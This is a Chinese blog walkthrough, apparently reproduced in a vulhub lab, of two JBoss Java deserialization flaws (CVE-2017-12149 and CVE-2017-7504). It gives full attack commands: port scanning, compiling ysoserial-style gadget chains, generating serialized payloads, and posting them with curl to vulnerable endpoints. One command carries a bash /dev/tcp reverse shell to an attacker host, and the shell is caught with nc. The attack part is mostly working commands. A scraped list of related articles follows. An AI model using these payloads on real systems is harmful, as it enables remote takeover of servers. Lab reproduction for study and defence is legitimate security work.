JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞
文章目录
Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504
- 基础知识
- 漏洞原理
- 影响版本
- 复现思路
- 复现—CVE-2017-12149
- 1、特征检测
- 2、反弹shell
- 复现—CVE-2017-7504
- 1、特征检测
- 2、反弹shell
基础知识
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
形成漏洞的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。
漏洞原理
CVE-2017-12149
漏洞影响5.x和6.x版本的JBOSSAS。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
CVE-2017-7504
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响版本
CVE-2017-12149:JBoss AS 5.x和6.x版
CVE-2017-7504:JBoss AS 4.x及之前版本
复现思路
- 云主机的内置vulhub8080端口搭建实验靶场
- 加载攻击脚本,编译并生成序列化数据
- 序列化恶意数据至文件,将该文件作为请求数据主体发送数据包
- 云主机开启端口监听反弹过来的shell
- CVE-2017-12149利用路径是/invoker/readonly
- CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet
- CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet
复现—CVE-2017-12149
前情提要:云主机作为攻击方,云主机内部靶场镜像开启JBOOS CVE-2017-12149漏洞容器作为受害方。
本文使用的脚本下载地址:
https://github.com/joaomatosf/JavaDeserH2HC
开启漏洞环境主页面:
1、特征检测
端口扫描:
// 使用nmap扫描端口,检测是否开启该服务:
nmap -p 1-65535 -A 目标 IP
- 1
- 2
目录拼接:
访问 http://IP:port/invoker/readonly
若出现如上500报错页面,则说明符合特征,可能存在该漏洞。
2、反弹shell
脚本下载地址:
https://github.com/joaomatosf/JavaDeserH2HC
下载工具脚本,后进入工具目录:
编译并生成序列化数据:
// 执行下面命令会生成相应的.class文件javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
- 1
- 2
ser全称serialize,序列化恶意数据至文件:
// 执行下面命令会生成相应的.ser文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 云主机IP:port(反弹shell使用的监听端口)
- 1
- 2
将该文件作为请求数据主体发送数据包,–data-binary 意为以二进制的方式post数据:
// curl 这个二进制文件发送payload
curl http://目标 IP:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
- 1
- 2
监听端口:
// 开启监听端口
nc -lvnp 6666
- 1
- 2
过程截图:
成功反弹(注:这里出现connect to [X.X.X.X] from x.x.x.x 后就可以直接执行命令了,博主以为卡死了等了好久,做了很多尝试才发现已经连接成功了 QAQ)
复现—CVE-2017-7504
前情提要:云主机作为攻击方,云主机内部靶场镜像开启JBOOS CVE-2017-7504漏洞容器作为受害方。
1、特征检测
端口扫描:
// 使用nmap扫描端口,检测是否开启该服务:
nmap -p 1-65535 -A 目标 IP
- 1
- 2
目录拼接:
访问 http://IP:port/jbossmq-httpil/HTTPServerILServlet
2、反弹shell
进入上文中下载的工具脚本文件,编译并生成序列化数据:
// 执行下面命令会生成相应的.class文件
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
- 1
- 2
序列化恶意数据至文件:
// 执行下面命令会生成相应的.ser文件
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java '/bin/bash -i>&/dev/tcp/云主机IP/监听端口<&1' (反弹shell使用的监听端口)
- 1
- 2
将该文件作为请求数据主体发送数据包,–data-binary 意为以二进制的方式post数据:
// curl 这个二进制文件发送payload
curl http://目标IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
- 1
- 2
监听端口:
// 开启监听端口
nc -lvnp 6666
- 1
- 2
过程截图:
成功反弹~!
集成工具下载地址(还阔以,挺好用的):
https://github.com/joaomatosf/jexboss
JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞相关推荐
- jboss 5.x/6.x 反序列化漏洞 cve-2017-12149
目录 测试环境 漏洞复现 编写反弹shell的命令 序列化数据生成 发送POC 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAcces ...
- 利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞
JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 端口设置 浏览器设置 BurpSuit设置 复现漏洞 序列化数据生成 发送POC ...
- JBoss 反序列化漏洞复现
JBoss 反序列化漏洞复现 漏洞描述: 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主 ...
- jboss jta mysql_JBoss平台下JTA与JMS实验软件架构8
1 JTA 简介: Java Transaction API,JTA Transaction 是指由J2EE Transaction manager 去管理的 事务.通过调用UserTransacti ...
- weblogic ssrf漏洞复现
采用的虚拟机环境为ubuntu16.04,在虚拟机上搭建好docker环境.采用的vulhub来进行复现. 使用git来下载,命令为git clone https://github.com/vulhu ...
- JBoss未授权访问漏洞Getshell过程复现
文章目录 前言 漏洞复现 漏洞描述 靶场搭建 漏洞利用 防御手段 Jexboss脚本 前言 在 2021 年第五届强网杯全国网络安全挑战赛的 EasyWeb 赛题中遇到了 JBoss 未授权访问漏洞 ...
- JBoss漏洞总结复现
目录 简介 JBoss发序列化漏洞(CVE-2017-12149) 漏洞描述 漏洞原理 影响范围 漏洞复现 修复建议 JBossMQ JMS反序列化漏洞(CVE-2017-7504) 漏洞描述 漏洞原 ...
- Web中间件常见安全漏洞
第一章:IIS IIS 6 解析漏洞 IIS 7 解析漏洞 PUT任意文件写入 IIS短文件漏洞 HTTP.SYS远程代码执行 (MS15-034) RCE-CVE-2017-7269 第二章:Apa ...
- 中间件常见安全漏洞(转载)
前言: 转载于公众号 Bypass 点击这里查看原文 第一章:IIS IIS 6 解析漏洞 IIS 7 解析漏洞 PUT任意文件写入 IIS短文件漏洞 HTTP.SYS远程代码执行 (MS15-034 ...
最新文章
- 《模拟信息转换器(AIC)的实现技术研究》读书笔记
- 计算机编程语言python-2018年计算机编程语言排名: Python语言排名第一
- Android开发者必须深入学习的10个应用开源项目
- tcpip运输层不同的两个协议_TCP/IP-运输层-你需要知道的运输层概念
- 共享寒冬中的常青树,2 次获得阿里投资的衣二三“欲隐藏”的数据真相 | 深度案例...
- Codeforces Round #554 (Div. 2) C. Neko does Maths (数论 GCD(a,b) = GCD(a,b-a))
- 二叉树的遍历 (递归和非递归实现)
- Java基础知识强化之IO流笔记13:递归之不死神兔问题(斐波那契数列)
- php生产任务,php生产实用技能之计划任务(视频讲解)
- 【CodeForces - 574C】Bear and Poker(思维,剪枝,数学)
- SpringCloud微服务权限控制(一)概述
- Leetcode 刷题笔记(十六) —— 二叉树篇之二叉搜索树的属性
- stixel_world+Multi_stioxel_world+semantic_stixel_world知识拓展
- 取消2008关机对话框
- linux下使用小票打印
- 闭包及作用域销毁练习
- [音乐]阿桑的《叶子》
- C语言练习题,编写程序实现以下功能。从键盘输入一个整数,若输入数字0,则屏幕显示:“Sunday“;若输入数字1,则屏幕显示:“Monday“;若输入数字2,则屏幕显示:“Tuesday“;若输入数字
- C++ new失败处理
- 自己给自己找一份工作